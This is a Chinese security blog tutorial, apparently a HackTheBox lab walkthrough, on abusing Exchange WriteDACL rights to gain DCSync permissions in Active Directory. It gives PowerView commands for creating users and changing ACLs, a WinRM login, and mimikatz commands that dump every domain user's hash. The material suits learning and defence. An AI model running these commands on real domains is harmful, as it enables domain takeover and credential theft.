投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

admin 2021年7月27日03:14:25评论152 views字数 2072阅读6分54秒阅读模式

文章来源|MS08067 公众号读者投稿

本文作者:VastSky(Ms08067实验室读者)

前言

在域环境中,如果安装Exchange后,系统会添加一个名为Microsoft Exchange Security Groups、Exchange Trusted Subsystem和Exchange Windows Permission三个组。如果获得了这三个组内任意用户的控制权限,就能够继承用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,最终实现利用DCSync导出域内所有用户hash。


利用条件

获取属组为一下三个组的任意用户

Microsoft Exchange Security Groups

Exchange Trusted Subsystem

Exchange Windows Permission


实验

1、通过bloodhound分析出来如下图所示

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权


通过上图可以清晰的看到,用户所属的组对

EXCHANGE WINDOWS PERMISSIONS 组拥有所有的权限,而EXCHANGE WINDOWS PERMISSIONS 对域有有writedacl的权限,因此可以通过 域渗透——使用Exchange服务器中特定的ACL实现域提权,的思路来提权。通过DCSync来提权,EXCHANGE WINDOWS PERMISSIONS组内的用户,可以对任意用户修改acl权限


2、创建用户用户

$UserPassword =

ConvertTo-SecureString '123456qazwsx' -AsPlainText -Force

New-DomainUser -SamAccountName one -Description

'This is one' -AccountPassword $UserPassword

修改用户密码:Set-DomainUserPassword -Identity

harmj0y2 -AccountPassword $UserPassword


3、将新建用户加入到EXCHANGE WINDOWS PERMISSIONS组,并且允许远程登录

Add-DomainGroupMember -Identity

'EXCHANGEWINDOWS PERMISSIONS' -Members 'one'

Add-DomainGroupMember -Identity 'Remote Management Users' -Members 'one'


4、使用one用户通过winrm_shell.rb用户远程登录

require 'winrm'

conn = WinRM::Connection.new(

  endpoint: 'http://10.10.10.161:5985/wsman',

  user: 'htb.localone',

  password: '1234qwer',)


5、利用DCSync导出hash

于是one用户可以对自己添加三条ACE(Access Control Entries):使其获得DCSync导出的权限,正常情况下,如果获得了以下三个组内任意用户的权限,都能够利用DCSync导出域内所有用户hash组名如下:

Exchange Trusted Subsystem

Exchange Windows Permission

Organization Management


向域内的一个普通用户添加如下三条ACE(Access Control Entries):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限


6、添加ACE的命令如下:

Add-DomainObjectAcl -TargetIdentity

"DC=htb,DC=local" -PrincipalIdentity one -Rights DCSync -Verbose


7、再次退出重新登录

(1)导出administrator的hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /user:administrator /csv" exit

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权


(2)通过以下命令导出所有用户hash

mimikatz.exe privilege::debug "lsadump::dcsync /domain:htb.local /all /csv" exit投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权







投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权


扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权 投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权 投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

目前40000+人已关注加入我们

投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

本文始发于微信公众号(Ms08067安全实验室):投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月27日03:14:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   投稿 | 使用Exchange服务器中的Writedacl实现域提权的提权http://cn-sec.com/archives/371998.html

发表评论

匿名网友 填写信息